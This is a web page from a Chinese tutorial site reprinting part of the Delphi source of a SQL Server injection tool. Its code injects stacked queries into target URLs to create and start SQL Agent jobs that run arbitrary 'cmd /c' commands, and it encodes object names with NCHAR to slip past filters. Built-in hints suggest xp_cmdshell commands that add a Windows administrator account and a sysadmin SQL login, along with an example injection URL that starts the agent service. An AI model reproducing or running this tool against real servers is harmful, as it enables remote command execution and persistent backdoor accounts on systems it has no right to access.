转至繁体中文版     | 网站首页 | 文章中心 | 下载中心 | 图片中心 | 笑话频道 | 教程频道 | 会员中心 | 雁过留声 | 
最新公告:     "MinTao学以致用网"欢迎您的光临,你的支持便是我们的动力,欢迎广大网友和各界人士亲临指导,你们的一个小小的建议便是我们发展的开路石!  [MinTao  2007年9月5日]        
您现在的位置: MinTao学以致用网 >> 文章中心 >> 电子课堂 >> 数据库 >> Sql Server >> 文章正文
专题栏目
更多内容
最新推荐 更多内容
相关文章
SQL Server的存储过程调
SQL Server安全性简介
SQL 语法参考手册
MS SQL Sever 7.0 存储引
SQL SERVER和SYBASE
SQL Server 7.0数据库的
VB应用程序访问SQL Serv
将DBF数据库转换成SQL S
拷贝的SQL Server 7数据
浅谈优化SQL Server数据
更多内容
SQL Server注入工具 1.0         
SQL Server注入工具 1.0
作者:hnxyy 文章来源:不详 点击数: 更新时间:2007-11-14 12:57:01
nbsp;   '''';exec%20sp_add_job%20''''''''x''''''''''''+
                         '''';exec%20sp_add_jobstep%20Null,''''''''x'''''''',Null,''''''''1'''''''',''''''''CMDEXEC'''''''',''''''''cmd%20/c%20''''+
                         CommandStr+'''''''''''';exec%20sp_add_jobserver%20Null,''''''''x'''''''',@@servername''''+
                         '''';exec%20sp_start_job%20''''''''x''''''''--'''';
        if get(CommandStr) then
          Memo2.Lines.Add(''''命令执行完成。'''');
      end else
      begin
        Memo2.Lines.Add(''''SQLSERVERAGENT 启动失败,操作终止!'''');
        exit;
      end;
    end;
  finally
    Screen.Cursor :=crDefault;
    BtnExecute.Visible :=true;
    BtnCancel.Visible :=false;
  end;
end;

function TForm1.Get(URL: string): boolean;
var
  IDHTTP: TIDHttp;
  ss: String;
begin
  Result:= False;
  IDHTTP:= TIDHTTP.Create(nil);
  try
    try
      idhttp.HandleRedirects:= true;                //必须支持重定向否则可能出错
      idhttp.ReadTimeout:= 30000;                   //超过这个时间则不再访问
      ss:= IDHTTP.Get(URL);
      if IDHTTP.ResponseCode=200 then
        Result :=true;
    except
      //on E: Exception do
      //  Application.MessageBox(pchar(''''出现异常,操作终止!''''+#10#13+E.Message),''''提示'''',mb_ok+mb_iconinformation);
    end;
  finally
    IDHTTP.Free;
  end;
end;

function TForm1.GetWBMsg(URL: string): string;
  function GetResultStr(str:string):string;
  var
    istart,iend:integer;
    ss:string;
  begin
    istart:=pos(''''|'''',str);
    if istart>0 then
    begin
      ss:=copy(str,istart+1,length(str)-istart);
      iend :=pos(''''|'''',ss);
      if iend>0 then
      begin
        ss:=copy(ss,1,iend-1);
      end;
    end;
    if ss='''''''' then
      Result :=''''未知''''
    else Result :=ss;
  end;
var
  ss:string;
begin
  tag:=0;
  wb.Navigate(URL);
  while (tag=0) do
    Application.ProcessMessages;
  ss :=(wb.Document as IHTMLDocument2).Body.innerText;
  Result :=GetResultStr(ss);
end;

function TForm1.StrToNChar(DbName, TName: string): string;
var
  i:integer;
  ss,str:string;
begin
  ss:=DbName+''''..''''+TName;
  for i:=1 to length(ss) do
  begin
    if i=1 then
      str :=''''NCHAR(''''+inttostr(ord(ss[i]))+'''')''''
    else
      str :=str+''''%2BNCHAR(''''+inttostr(ord(ss[i]))+'''')'''';
  end;
  Result :=''''OBJECT_ID(''''+str+'''')'''';
end;

procedure TForm1.wbDocumentComplete(Sender: TObject;
  const pDisp: IDispatch; var URL: OleVariant);
begin
  //Memo2.Text :=(wb.Document as IHTMLDocument2).Body.innerText;
  tag:=1;
end;

procedure TForm1.BtnStopClick(Sender: TObject);
begin
  isFinish :=True;
  BtnCheck.Visible :=true;
  BtnStop.Visible :=False;
end;

procedure TForm1.SetRdbCheck(rd: TRadioButton);
begin
  Memo2.Clear;
  if rd=rbCmd then
  begin
    cbDisp.Enabled :=True;
    Memo2.Lines.Add(''''使用xp_cmdshell来运行系统命令'''');
    Memo2.Lines.Add('''''''');
    Memo2.Lines.Add(''''net user test test /add'''');
    Memo2.Lines.Add(''''net localgroup administrators test /add'''');
    Memo2.Lines.Add(''''exec master..sp_addlogin test,test'''');
    Memo2.Lines.Add(''''exec master..sp_addsrvrolemember test,sysadmin'''');
  end;
  if rd=rbOA then
  begin
    cbDisp.Enabled :=False;
    Memo2.Lines.Add(''''使用sp_OACreate来运行系统命令'''');
  end;
  if rd=rbJob then
  begin
    cbDisp.Enabled :=False;
    Memo2.Lines.Add(''''使用SQLSERVERAGENT的JOB来运行系统命令'''');
    Memo2.Lines.Add(''''请先使用下列语句启动SQLSERVERAGENT:'''');
    Memo2.Lines.Add('''''''');
    Memo2.Lines.Add(''''http://x.com/x.asp?a=1;exec master..xp_servicecontrol ''''''''start'''''''',''''''''SQLSERVERAGENT'''''''';--'''');
  end;
end;

procedure TForm1.rbCmdClick(Sender: TObject);
begin
  SetRdbCheck(rbcmd);
end;

procedure TForm1.rbOAClick(Sender: TObject);
begin
  SetRdbCheck(rbOA);
end;

procedure TForm1.rbJobClick(Sender: TObject);
begin
  SetRdbCheck(rbJob);
end;

procedure TForm1.FormShow(Sender: TObject);
begin
  SetRdbCheck(rbcmd);
end;

procedure TForm1.BtnCancelClick(Sender: TObject);
begin
  isCancel :=True;
  BtnExecute.Visible :=true;
  BtnCancel.Visible :=false;
end;

end.

上一页  [1] [2] [3] [4] 

文章录入:mintao    责任编辑:mintao 
  • 上一篇文章:

  • 下一篇文章:
  • 【字体: 】【发表评论】【加入收藏】【告诉好友】【打印此文】【关闭窗口
      注:本站部分文章源于互联网,版权归原作者所有!如有侵权,请原作者与本站联系,本站将立即删除! 本站文章除特别注明外均可转载,但需注明出处! [MinTao学以致用网]
      网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)

    | 设为首页 |加入收藏 | 联系站长 | 友情链接 | 版权申明 | 广告服务
    MinTao学以致用网

    Copyright @ 2007 MinTao学以致用网(www.mintao.net) Inc All Rights Reserved.
    QQ:543098146有事请Q我! QQ:261561092有事请Q我 QQ:179647303有事请Q我 MSN:min906@126.com
    站长:MinTao 信息产业部ICP备案号:鄂ICP备07500065号

    学以致用是我们学习者的至高境界和不懈追求,[MinTao学以致用网]与大家共同学习,共同进步……
    信息产业部备案
    *鄂ICP备07500065号